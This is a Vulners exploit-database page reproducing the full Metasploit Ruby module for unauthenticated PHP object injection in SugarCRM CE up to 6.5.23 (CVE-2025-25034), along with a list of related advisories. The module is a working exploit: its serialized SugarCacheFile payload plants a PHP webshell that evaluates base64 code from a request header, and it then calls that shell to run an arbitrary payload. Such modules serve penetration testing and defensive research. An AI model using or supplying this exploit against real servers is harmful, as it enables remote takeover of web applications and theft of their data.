Lucene search
+L

SugarCRM REST Unserialize PHP Code Execution

🗓️ 23 Jun 2016 00:00:00Reported by EgiXType 
metasploit
 metasploit
🔗 www.rapid7.com👁 18 Views

SugarCRM REST Unserialize PHP Code Execution in v6.5.2

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2025-25034
29 May 201815:50
circl
cnnvd
CNNVD
SugarCRM 安全漏洞
20 Jun 202500:00
cnnvd
cve
CVE
CVE-2025-25034
20 Jun 202518:34
cve
cvelist
Cvelist
CVE-2025-25034 SugarCRM PHP Deserialization RCE
20 Jun 202518:34
cvelist
euvd
EUVD
EUVD-2025-18782
3 Oct 202520:07
euvd
nuclei
Nuclei
SugarCRM - Unauthenticated Remote Code Execution via PHP Object Injection
18 Aug 202602:59
nuclei
nvd
NVD
CVE-2025-25034
20 Jun 202519:15
nvd
openvas
OpenVAS
SugarCRM PHP Object Injection Vulnerability (Jun 2016)
8 Jul 201600:00
openvas
ptsecurity
Positive Technologies
PT-2025-26454
20 Jun 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2025-25034
23 Jun 202508:39
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SugarCRM REST Unserialize PHP Code Execution',
        'Description' => %q{
          This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23
          which could be abused to allow unauthenticated users to execute arbitrary PHP code with
          the permissions of the webserver. The dangerous unserialize() call exists in the
          '/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct()
          method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory.
        },
        'Author' => 'EgiX',
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-25034'],
          ['URL', 'http://karmainsecurity.com/KIS-2016-07'],
          ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'],
          ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'],
          ['URL', 'https://bugs.php.net/bug.php?id=72663']
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [ ['SugarCRM CE <= 6.5.23', {}] ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-06-23',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"])
      ]
    )
  end

  def exploit
    upload_php = '/custom/' + rand_text_alpha(rand(4) + 8) + '.php'

    payload_serialized = "O:+14:\"SugarCacheFile\":23:{S:17:\"\\00*\\00_cacheFileName\";"
    payload_serialized << "s:#{upload_php.length + 2}:\"..#{upload_php}\";S:16:\"\\00*\\00"
    payload_serialized << "_cacheChanged\";b:1;S:14:\"\\00*\\00_localStore\";a:1:{i:0;s:55"
    payload_serialized << ":\"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>\";}}"

    print_status("#{peer} - Exploiting the unserialize() to upload PHP code")

    res = send_request_cgi(
      {
        'uri' => normalize_uri(target_uri.path, 'service/v4/rest.php'),
        'method' => 'POST',
        'vars_post' => {
          'method' => 'login',
          'input_type' => 'Serialize',
          'rest_data' => payload_serialized
        }
      }
    )

    unless res
      print_error('Connection timed out while sending a request to rest.php')
      return
    end

    if res && res.code != 200
      print_error("#{peer} - Exploit failed: #{res.code}")
      return
    end

    register_files_for_cleanup(File.basename(upload_php))

    print_status("#{peer} - Executing the payload #{upload_php}")

    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, upload_php),
        'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) }
      }
    )

    if res && res.code != 200
      print_error("#{peer} - Payload execution failed: #{res.code}")
      return
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation